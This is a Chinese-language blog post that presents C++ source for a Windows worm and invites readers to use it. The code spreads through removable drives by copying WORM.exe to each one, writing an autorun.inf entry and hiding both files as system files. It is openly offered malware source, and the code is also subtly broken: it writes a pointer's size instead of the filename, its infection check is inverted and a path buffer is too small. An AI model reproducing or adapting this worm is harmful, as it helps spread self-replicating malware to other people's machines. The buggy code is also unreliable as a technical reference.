一個簡單的蠕蟲程式

How to make a worm.

最近筆者在讀的一本書之中, 提到了蠕蟲程式的特性, 看起來好像蠻有趣的, 所以筆者就實做看看了XD, 以下所張貼的程式碼, 本身對電腦並無特殊的危害性, 純粹只是個概念, 而且目前大部分的防毒軟體, 也都已經會防範這樣的動作了, 所以請大家安心使用

在這裡簡述一下他的設計概念

  Capture

 

 

以下是程式碼的範例

	// 全域常數
const int   CHAR_LENGTH       = 20;
const char* pWORM_FILE        = "WORM.exe";           // 程式本身的名稱, 也可以用函式的方式取得
const char* pWORM_PATH        = "C:\\Program Files";  // 本機上存放的路徑
const char* pAUTORUN_INF      = "autorun.inf";        // autorun時所需要的檔案


// char 與WCHAR的轉換
void WCHAR_to_char(const WCHAR* pwsSource, char* pcTarget)
{
    ::sprintf(pcTarget, "%s",pwsSource);         
}
void char_to_WCHAR(const char* pcSource, WCHAR* pwsTarget)
{
    ::swprintf(pwsTarget, L"%S", pcSource);
}


// 確認檔案是否存在
bool IsExist(const char* pcFileName)
{
    bool bFlag_ = false;
    
    FILE* fp = ::fopen(pcFileName, "r");
    
    if (fp)
    {
        ::fclose(fp);
        bFlag_ = true;
    } 

    return bFlag_;
}


void ModifyAotorunInf(const char* pcFileName)
{
    bool bExist_ = ::IsExist(pcFileName);    
    
    FILE* fp = ::fopen(pcFileName, "a");

    // 如果沒有autorun.inf直接寫一個新的 如果有只要在最後面加一行
    if(!bExist_)
    {
        char acAuto[] = "[autorun]";
        ::fwrite(acAuto, sizeof(acAuto), 1, fp);
    }
    
    ::fwrite(pWORM_FILE, sizeof(pWORM_FILE), 1, fp);

    ::fclose(fp);
}


// 主要的執行流程 不管你開甚麼專案 只要時機點到呼叫他即可
void MainProcess()
{
    char acTargetFile_[CHAR_LENGTH];
    ::memset(acTargetFile_, 0, sizeof(acTargetFile_));
    ::sprintf(acTargetFile_, "%s\\%s", pWORM_PATH, pWORM_FILE);
    
    // 如果此檔案存在 代表已經被感染過 就不繼續
    if(!::IsExist(acTargetFile_))
        return;

    WCHAR    wsExecFile_[CHAR_LENGTH];
    WCHAR    wsInfFile_[CHAR_LENGTH];
    WCHAR    wsDriver_[CHAR_LENGTH];

    for(char i='a'; i<='z'; i++)
    {
        ::memset(wsDriver_,    0, sizeof(wsDriver_));
        ::swprintf(wsDriver_, L"%c:", i);

        
        // 如果是可抽取的磁碟機
        if(::GetDriveType(wsDriver_)==DRIVE_REMOVABLE)
        {            
            ::memset(wsExecFile_,0, sizeof(wsExecFile_));
            ::swprintf(wsExecFile_, L"%c:\\%S", i, pWORM_FILE);

            ::memset(wsInfFile_, 0, sizeof(wsInfFile_));
            ::swprintf(wsInfFile_, L"%c:\\%S", i, pAUTORUN_INF);
        

            // 修改autorun.inf
            char    acInfFile_[CHAR_LENGTH];
            ::memset(acInfFile_, 0, sizeof(acInfFile_));
            ::sprintf(acInfFile_, "%c:\\%s", i, pAUTORUN_INF);
            ::ModifyAotorunInf(acInfFile_);


            // 將檔案複製過去
            WCHAR wsTargetFile_[CHAR_LENGTH];
            ::memset(wsTargetFile_, 0, sizeof(wsTargetFile_));
            ::char_to_WCHAR(acTargetFile_, wsTargetFile_);
            ::CopyFile(wsTargetFile_, wsExecFile_, true);


            // 隱藏檔案
            ::SetFileAttributes(wsExecFile_,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);
            ::SetFileAttributes(wsInfFile_,    FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);
        }// if
    }// for
}// mathod